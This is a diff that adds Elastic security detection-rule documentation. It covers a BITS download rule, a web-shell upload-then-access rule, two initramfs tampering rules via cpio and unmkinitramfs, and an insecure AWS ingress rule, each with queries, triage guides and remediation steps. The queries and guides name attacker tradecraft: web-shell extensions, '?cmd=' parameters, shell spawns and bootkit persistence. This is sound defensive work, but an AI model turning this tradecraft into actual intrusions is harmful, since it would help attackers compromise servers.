Known false positives for the rule include legitimate software and system updates that use BITS for downloading files. + + +*Related Rules* + + +- Persistence via BITS Job Notify Cmdline - c3b915e0-22f3-4bf7-991d-b643513c722f +- Unsigned BITS Service Client Process - 9a3884d0-282d-45ea-86ce-b9c81100f026 +- Bitsadmin Activity - 8eec4df1-4b4b-4502-b6c3-c788714604c9 + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore the affected system to its operational state by applying any necessary patches, updates, or configuration changes. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.action == "rename" and + process.name : "svchost.exe" and file.Ext.original.name : "BIT*.tmp" and + (file.extension : ("exe", "zip", "rar", "bat", "dll", "ps1", "vbs", "vbe", "wsh", "wsf", "sct", "js", "jse", "hta", "pif", "scr", "cmd", "cpl") or + file.Ext.header_bytes : "4d5a*") and + + /* noisy paths, for hunting purposes you can use the same query without the following exclusions */ + not file.path : ("?:\\Program Files\\*", "?:\\Program Files (x86)\\*", "?:\\Windows\\*", "?:\\ProgramData\\*\\*") and + + /* lot of third party SW use BITS to download executables with a long file name */ + not length(file.name) > 30 and + not file.path : ( + "?:\\Users\\*\\AppData\\Local\\Temp*\\wct*.tmp", + "?:\\Users\\*\\AppData\\Local\\Adobe\\ARM\\*\\RdrServicesUpdater*.exe", + "?:\\Users\\*\\AppData\\Local\\Adobe\\ARM\\*\\AcroServicesUpdater*.exe", + "?:\\Users\\*\\AppData\\Local\\Docker Desktop Installer\\update-*.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: BITS Jobs +** ID: T1197 +** Reference URL: https://attack.mitre.org/techniques/T1197/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-initial-access-via-file-upload-followed-by-get-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-initial-access-via-file-upload-followed-by-get-request.asciidoc new file mode 100644 index 0000000000..b23e6fe809 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-initial-access-via-file-upload-followed-by-get-request.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-34-initial-access-via-file-upload-followed-by-get-request]] +=== Initial Access via File Upload Followed by GET Request + +This rule detects potential initial access activity where an adversary uploads a web shell or malicious script to a web server via a file upload mechanism (e.g., through a web form using multipart/form-data), followed by a GET or POST request to access the uploaded file. By checking the body content of HTTP requests for file upload indicators such as "Content-Disposition: form-data" and "filename=", the rule identifies suspicious upload activities. This sequence of actions is commonly used by attackers to gain and maintain access to compromised web servers. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* +* logs-network_traffic.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Web +* Domain: Network +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Network Traffic +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Web Shell +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Data Source: Network Packet Capture + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Initial Access via File Upload Followed by GET Request* + + +This rule flags a common initial-access pattern: a multipart/form-data upload that drops a dynamic web script on a server, followed shortly by a request to execute that file and establish a foothold. Attackers exploit a permissive upload form to plant shell.php or shell.jsp in an uploads or temp directory, then immediately request it to spawn a web shell, enumerate files, and run commands—often leveraging redirects or 2xx/3xx responses that indicate successful placement and access. + + +*Possible investigation steps* + + +- Correlate the upload transaction with the server-side file creation and the subsequent access to the same resource, matching timestamps, source IP, and path, and follow any redirects to the final executed file. +- Retrieve the uploaded artifact from disk, verify it sits in a web-accessible location, inspect content for web shell traits (eval/system/exec, obfuscation, password gates), and record hashes. +- Examine server process telemetry immediately after the access for interpreter or shell spawns and unexpected outbound connections originating from web server workers. +- Review application logs and access context to determine whether the upload was authenticated, which account or session performed it, and whether user-agent, referer, or headers deviate from normal clients. +- Broaden the timeline to identify related uploads, file renames, or repeated requests from the same actor, including parameterized calls that suggest command execution or directory enumeration. + + +*False positive analysis* + + +- An authenticated administrator installs a legitimate plugin or module via the application’s upload form, which unpacks or renames .php or .jsp files and then auto-loads a setup page, producing the multipart upload, file creation/rename, and immediate GET pattern. +- Automated deployment or QA routines upload and deploy a .war or server-side script through a web-based admin interface and then perform health-check or warm-up requests, resulting in the same multipart upload, server-side file creation, and follow-up GET sequence. + + +*Response and remediation* + + +- Immediately block access to the uploaded script that was invoked via GET/POST (e.g., /uploads/shell.php) and the source IPs that executed it, restrict the site to allowlisted IPs or maintenance mode, and temporarily disable the upload endpoint. +- Quarantine and remove the uploaded web shell and any additional executable scripts or WARs in web-accessible directories (uploads, webroot, temp), terminate interpreter or shell processes spawned by the web server account (www-data/nginx/w3wp/tomcat), and revert malicious .htaccess/web.config rewrites. +- Hunt for persistence and lateral-movement artifacts created after the upload, including recent .php/.jsp/.cgi file creations or renames in static asset folders, cron/systemd tasks, startup scripts, unauthorized admin users or plugins, and remove them. +- Restore altered application files from known-good backups or redeploy a clean container/VM, rotate database and API credentials stored in config files or environment variables, invalidate active sessions, and only re-enable uploads after confirming execution is blocked in upload directories. +- Escalate to incident command and privacy/legal if you observe command execution parameters on the uploaded page (?cmd=, ?exec=), shells spawning (/bin/sh, powershell.exe), database dumps, or outbound callbacks from web server processes to external hosts. +- Harden by storing uploads outside the webroot, denying execution in upload paths (disable PHP/CGI handlers and set noexec permissions), enforcing strict extension/MIME allowlists and AV/sandbox scanning for multipart/form-data, enabling file-integrity alerts on new .php/.jsp in served paths, and deploying WAF rules to block direct requests to uploaded executables. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from both Elastic Defend (for file events) and Network Packet Capture integrations (for HTTP traffic analysis). + + +*Network Packet Capture Integration Setup* + + +**IMPORTANT**: This rule requires HTTP request body capture to be enabled in order to detect the multipart/form-data content containing WebKitFormBoundary indicators. The network traffic integration must be configured to capture HTTP request bodies for POST requests with `multipart/form-data` content type. + +To enable HTTP request body capture, follow these steps: +1. Navigate to the Fleet policy leveraging the Network Packet Capture integration in Kibana. +2. Locate and select the "Network Packet Capture" integration, and edit the integration. +3. Locate "Change Default", and scroll down to the "HTTP" section. +4. Enable the "HTTP" toggle to capture HTTP traffic, add the correct ports for your web application, and click "advanced options". +5. Edit the integration settings to enable HTTP request body capture for POST requests with `multipart/form-data` content type. +6. Save the integration configuration and wait for the policy to deploy to the agents. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by agent.id with maxspan=5m + [network where + data_stream.dataset == "network_traffic.http" and + http.request.method in ("POST", "PUT") and + /* We can restrict to 200 in the future, but I prefer to broaden the scope and decrease it later if necessary */ + http.response.status_code in (200, 201, 204, 301, 302, 303, 409) and + /* These should detect most common file upload activities, adhering to browser standards */ + http.request.body.content like "*Content-Disposition: form-data*" and + http.request.body.content like "*filename=*" + /* May add a lower/upper boundary limit to reduce FPs in the future, e.g. + and http.request.body.bytes >= 500 + */ + ] + [file where + data_stream.dataset == "endpoint.events.file" and + event.action in ("creation", "rename") and + file.extension in ("php", "phtml", "pht", "php5", "asp", "aspx", "jsp", "jspx", "war", "cgi") + /* We can add file.path values here in the future, if telemetry is noisy */ + ] + [network where + data_stream.dataset == "network_traffic.http" and + http.request.method in ("GET", "POST") and + /* we may restrict to 200, but keeping it broader right now */ + http.response.status_code >= 200 and http.response.status_code < 600 and + url.extension in ("php", "phtml", "pht", "php5", "asp", "aspx", "jsp", "jspx", "war", "cgi") + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-initramfs-extraction-via-cpio.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-initramfs-extraction-via-cpio.asciidoc new file mode 100644 index 0000000000..e278704990 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-initramfs-extraction-via-cpio.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-initramfs-extraction-via-cpio]] +=== Initramfs Extraction via CPIO + +This rule detects the extraction of an initramfs image using the "cpio" command on Linux systems. The "cpio" command is used to create or extract cpio archives. Attackers may extract the initramfs image to modify the contents or add malicious files, which can be leveraged to maintain persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Initramfs Extraction via CPIO* + + +Initramfs is a temporary filesystem used during the Linux boot process, containing essential drivers and scripts. Attackers may exploit the `cpio` command to extract and modify initramfs, embedding malicious files to ensure persistence. The detection rule identifies suspicious `cpio` usage by monitoring process execution patterns, excluding legitimate parent processes, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the cpio command with arguments "-H" or "--format" and "newc" to ensure the alert is not a false positive. +- Investigate the parent process of the cpio command to determine if it is an unexpected or unauthorized process, as legitimate processes like mkinitramfs or dracut should be excluded. +- Check the execution path of the parent process to verify if it matches any known legitimate paths such as "/usr/share/initramfs-tools/*" or "/nix/store/*". +- Analyze the timeline of events around the cpio execution to identify any preceding or subsequent suspicious activities that might indicate a broader attack or persistence mechanism. +- Examine the system for any unauthorized modifications or additions to the initramfs image that could indicate tampering or the presence of malicious files. +- Correlate the alert with other security data sources like Elastic Endgame, Elastic Defend, or Crowdstrike to gather additional context and assess the scope of the potential threat. + + +*False positive analysis* + + +- Legitimate system updates or maintenance activities may trigger the rule when tools like mkinitramfs or dracut are used. To handle this, ensure these processes are excluded by verifying that the parent process is mkinitramfs or dracut. +- Custom scripts or automation tools that manage initramfs might use cpio in a non-malicious context. Review these scripts and add their parent process names or paths to the exclusion list if they are verified as safe. +- Systems using non-standard initramfs management tools located in directories like /usr/share/initramfs-tools or /nix/store may cause false positives. Confirm these tools' legitimacy and update the exclusion paths accordingly. +- Development or testing environments where initramfs is frequently modified for legitimate reasons can generate alerts. Consider creating environment-specific exceptions to reduce noise while maintaining security in production systems. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or spread of potential malware. +- Terminate any suspicious processes related to the `cpio` command that do not have legitimate parent processes, such as `mkinitramfs` or `dracut`. +- Conduct a thorough review of the extracted initramfs contents to identify and remove any unauthorized or malicious files. +- Restore the initramfs from a known good backup to ensure system integrity and remove any potential persistence mechanisms. +- Monitor the system for any further suspicious activity, particularly related to the `cpio` command, to ensure the threat has been fully mitigated. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may be affected. +- Update security policies and procedures to include specific checks for unauthorized `cpio` usage and enhance detection capabilities for similar threats. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed") and +process.name == "cpio" and process.args in ("-H", "--format") and process.args == "newc" and +not ( + process.parent.name in ("mkinitramfs", "dracut") or + ?process.parent.executable like~ ("/usr/share/initramfs-tools/*", "/nix/store/*") or + ?process.parent.args in ( + "/bin/dracut", "/usr/share/initramfs-tools/hooks/amd64_microcode", "/usr/bin/dracut", "/usr/sbin/mkinitramfs", + "/usr/sbin/dracut", "/usr/bin/update-microcode-initrd" + ) or + process.args like ("/var/tmp/mkinitramfs_*", "/tmp/tmp.*/mkinitramfs_*") or + ?process.working_directory like ( + "/var/tmp/mkinitramfs-*", "/tmp/microcode-initrd_*", "/var/tmp/mkinitramfs-*", "/var/tmp/dracut.*", + "/var/tmp/mkinitramfs_*", "/var/tmp/supermin*/init.d" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-initramfs-unpacking-via-unmkinitramfs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-initramfs-unpacking-via-unmkinitramfs.asciidoc new file mode 100644 index 0000000000..a1a7e2b519 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-initramfs-unpacking-via-unmkinitramfs.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-34-initramfs-unpacking-via-unmkinitramfs]] +=== Initramfs Unpacking via unmkinitramfs + +This rule detects the unpacking of an initramfs image using the "unmkinitramfs" command on Linux systems. The "unmkinitramfs" command is used to extract the contents of an initramfs image, which is used to boot the system. Attackers may use "unmkinitramfs" to unpack an initramfs image and modify its contents to include malicious code or backdoors, allowing them to maintain persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Initramfs Unpacking via unmkinitramfs* + + +Initramfs is a crucial component in Linux boot processes, containing essential drivers and scripts. The `unmkinitramfs` tool extracts its contents, which attackers might exploit to insert malicious code, ensuring persistence. The detection rule identifies the execution of `unmkinitramfs`, flagging potential unauthorized modifications by monitoring process initiation events on Linux systems. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the unmkinitramfs command, focusing on the process.name field to ensure it matches "unmkinitramfs". +- Check the user context under which the unmkinitramfs command was executed to determine if it aligns with expected administrative activities or if it was run by an unauthorized user. +- Investigate the parent process of the unmkinitramfs execution to understand how the command was initiated and if it was part of a legitimate script or an unexpected process chain. +- Examine recent system logs and audit logs for any other suspicious activities or anomalies around the time of the unmkinitramfs execution, such as unauthorized access attempts or changes to critical system files. +- Assess the integrity of the initramfs image by comparing it with a known good version, if available, to identify any unauthorized modifications or inclusions of malicious code. + + +*False positive analysis* + + +- Routine system maintenance or updates may trigger the rule when legitimate processes unpack initramfs for kernel updates. Users can create exceptions for known maintenance scripts or processes that regularly perform these actions. +- Automated backup or recovery solutions might use unmkinitramfs to verify or restore system images. Identify and exclude these processes if they are part of trusted backup operations. +- Developers or system administrators testing or customizing initramfs images for legitimate purposes could trigger the rule. Establish a whitelist for specific user accounts or scripts that are authorized to perform these tasks. +- Security tools or monitoring solutions that analyze initramfs contents for integrity checks might inadvertently trigger the rule. Ensure these tools are recognized and excluded from detection to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or data exfiltration by the attacker. +- Terminate any suspicious processes related to `unmkinitramfs` to halt any ongoing malicious activity. +- Conduct a thorough review of the initramfs image and its contents to identify and remove any unauthorized modifications or malicious code. +- Restore the initramfs image from a known good backup to ensure system integrity and remove any potential backdoors. +- Monitor the system for any further attempts to execute `unmkinitramfs` and investigate any such occurrences to determine if they are legitimate or part of an ongoing attack. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may be affected. +- Implement additional logging and monitoring for process execution events on Linux systems to enhance detection capabilities for similar threats in the future. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed") and +process.name == "unmkinitramfs" and not ( + ?process.parent.executable == "/usr/bin/lsinitramfs" or + ?process.working_directory == "/usr/local/nutanix/ngt/python/bin" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ +* Sub-technique: +** Name: Bootkit +** ID: T1542.003 +** Reference URL: https://attack.mitre.org/techniques/T1542/003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ +* Sub-technique: +** Name: Bootkit +** ID: T1542.003 +** Reference URL: https://attack.mitre.org/techniques/T1542/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-insecure-aws-ec2-vpc-security-group-ingress-rule-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-insecure-aws-ec2-vpc-security-group-ingress-rule-added.asciidoc new file mode 100644 index 0000000000..d5e2178570 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-insecure-aws-ec2-vpc-security-group-ingress-rule-added.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-insecure-aws-ec2-vpc-security-group-ingress-rule-added]] +=== Insecure AWS EC2 VPC Security Group Ingress Rule Added + +Identifies when a specified inbound (ingress) rule is added or adjusted for a VPC security group in AWS EC2. This rule detects when a security group rule is added that allows traffic from any IP address or from a specific IP address to common remote access ports, such as 22 (SSH) or 3389 (RDP). Adversaries may add these rules to allow remote access to VPC instances from any location, increasing the attack surface and potentially exposing the instances to unauthorized access. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_AuthorizeSecurityGroupEgress.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_AuthorizeSecurityGroupIngress.html +* https://www.linkedin.com/pulse/my-backdoors-your-aws-infrastructure-part-3-network-micha%C5%82-brygidyn/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 +* Tactic: Defense Evasion +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Insecure AWS EC2 VPC Security Group Ingress Rule Added* + + +This rule detects the addition of ingress rules to a VPC security group that allow traffic from any IP address (`0.0.0.0/0` or `::/0`) to sensitive ports commonly used for remote access, such as SSH (port 22) and RDP (port 3389). This configuration change can significantly increase the exposure of EC2 instances to potential threats, making it crucial to understand the context and legitimacy of such changes. + + +*Possible Investigation Steps:* + + +- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who made the change. Investigate whether this actor has the necessary permissions and typically performs these actions. +- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand exactly what changes were made to the security group. Check for any unusual parameters that could suggest a misconfiguration or malicious intent. +- **Analyze the Source of the Request**: Look at the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unusual location could indicate compromised credentials. +- **Contextualize with Timestamp**: Use the `@timestamp` field to check when the change occurred. Modifications outside of typical business hours might warrant additional scrutiny. +- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor engaged in other potentially suspicious activities. + + +*False Positive Analysis:* + + +- **Legitimate Administrative Actions**: Verify if the ingress rule change aligns with scheduled updates, maintenance activities, or legitimate administrative tasks documented in change management tickets or systems. +- **Consistency Check**: Compare the action against historical data of similar actions performed by the user or within the organization. Consistency with past legitimate actions might indicate a false alarm. +- **Verify through Outcomes**: Check the `aws.cloudtrail.response_elements` and the `event.outcome` to confirm if the change was successful and intended as per policy. + + +*Response and Remediation:* + + +- **Immediate Review and Reversal if Necessary**: If the change was unauthorized, revert the security group rules to their previous state to close any unintended access. +- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar security group changes, especially those that open access to well-known ports from any IP address. +- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning security group management. +- **Audit Security Groups and Policies**: Conduct a comprehensive audit of all security groups and associated policies to ensure they adhere to the principle of least privilege. +- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences. + + +*Additional Information:* + + +For further guidance on managing security group rules and securing AWS environments, refer to the https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html[Amazon VPC Security Groups documentation] and AWS best practices for security. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: ec2.amazonaws.com + and event.action: AuthorizeSecurityGroupIngress + and event.outcome: success + and aws.cloudtrail.flattened.request_parameters.ipPermissions.items.ipRanges.items.cidrIp: ("0.0.0.0/0" or "::/0") + and aws.cloudtrail.flattened.request_parameters.ipPermissions.items.fromPort: ( + 21 or 22 or 23 or 445 or 3389 or 5985 or 5986) + and not user_agent.original: (*packer-plugin-amazon* or *Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall 